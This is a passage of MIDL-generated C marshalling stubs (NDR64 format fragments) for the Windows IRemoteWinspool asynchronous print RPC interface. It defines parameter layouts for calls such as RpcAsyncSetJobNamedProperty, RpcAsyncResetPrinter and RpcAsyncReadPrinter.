   { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1102,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1053_t __midl_frag1053 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag1052_t __midl_frag1052 =\n{ \n/* __MIDL_IRemoteWinspool_0029 */\n    { \n    /* __MIDL_IRemoteWinspool_0029 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag1053,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1034,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1103,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1037,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1042,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1039,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1050_t __midl_frag1050 =\n{ \n/* RPC_PrintNamedProperty */\n    { \n    /* RPC_PrintNamedProperty */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintNamedProperty */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1102\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag1049_t __midl_frag1049 =\n{ \n/* RPC_PrintNamedProperty */\n    { \n    /* RPC_PrintNamedProperty */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintNamedProperty */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1050\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1052\n        },\n        { \n        /* RPC_PrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1048_t __midl_frag1048 =\n{ \n/* *RPC_PrintNamedProperty */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1049\n};\n\nstatic const __midl_frag1045_t __midl_frag1045 =\n{ \n/* RpcAsyncSetJobNamedProperty */\n    { \n    /* RpcAsyncSetJobNamedProperty */      /* procedure RpcAsyncSetJobNamedProperty */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pProperty */      /* parameter pProperty */\n        &__midl_frag1049,\n        { \n        /* pProperty */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1043_t __midl_frag1043 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1040\n    }\n};\n\nstatic const __midl_frag1042_t __midl_frag1042 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag1040_t __midl_frag1040 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1076\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1039_t __midl_frag1039 =\n{ \n/* __MIDL_IRemoteWinspool_0030 */\n    { \n    /* __MIDL_IRemoteWinspool_0030 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* __MIDL_IRemoteWinspool_0030 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag1043,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1037_t __midl_frag1037 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag1034_t __midl_frag1034 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag1032_t __midl_frag1032 =\n{ \n/* __MIDL_IRemoteWinspool_0029 */\n    { \n    /* __MIDL_IRemoteWinspool_0029 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag1079,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag1034,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag1103,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag1037,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag1042,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag1039,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag1031_t __midl_frag1031 =\n{ \n/* RPC_PrintPropertyValue */\n    { \n    /* RPC_PrintPropertyValue */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_PrintPropertyValue */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1032\n        },\n        { \n        /* RPC_PrintPropertyValue */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag1030_t __midl_frag1030 =\n{ \n/* *RPC_PrintPropertyValue */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1031\n};\n\nstatic const __midl_frag1025_t __midl_frag1025 =\n{ \n/* RpcAsyncGetJobNamedPropertyValue */\n    { \n    /* RpcAsyncGetJobNamedPropertyValue */      /* procedure RpcAsyncGetJobNamedPropertyValue */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1065,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1102,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pValue */      /* parameter pValue */\n        &__midl_frag1031,\n        { \n        /* pValue */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1023_t __midl_frag1023 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag10\n};\n\nstatic const __midl_frag1022_t __midl_frag1022 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1021_t __midl_frag1021 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1020_t __midl_frag1020 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag1019_t __midl_frag1019 =\n{ \n/* RpcAsyncResetPrinter */\n    { \n    /* RpcAsyncResetPrinter */      /* procedure RpcAsyncResetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1020,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag1021,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1018_t __midl_frag1018 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1016_t __midl_frag1016 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1018\n};\n\nstatic const __midl_frag1014_t __midl_frag1014 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag1013_t __midl_frag1013 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1012_t __midl_frag1012 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1013\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1014\n    }\n};\n\nstatic const __midl_frag1011_t __midl_frag1011 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1012\n};\n\nstatic const __midl_frag1009_t __midl_frag1009 =\n{ \n/* RpcAsyncReadPrinter */\n    { \n    /* RpcAsyncReadPrinter */      /* procedure RpcAsyncReadPrinter */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1020,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag1012,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1018,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcNoBytesRead */      /* parameter pcNoBytesRead */\n        &__midl_frag1018,\n        { \n        /* pcNoBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* 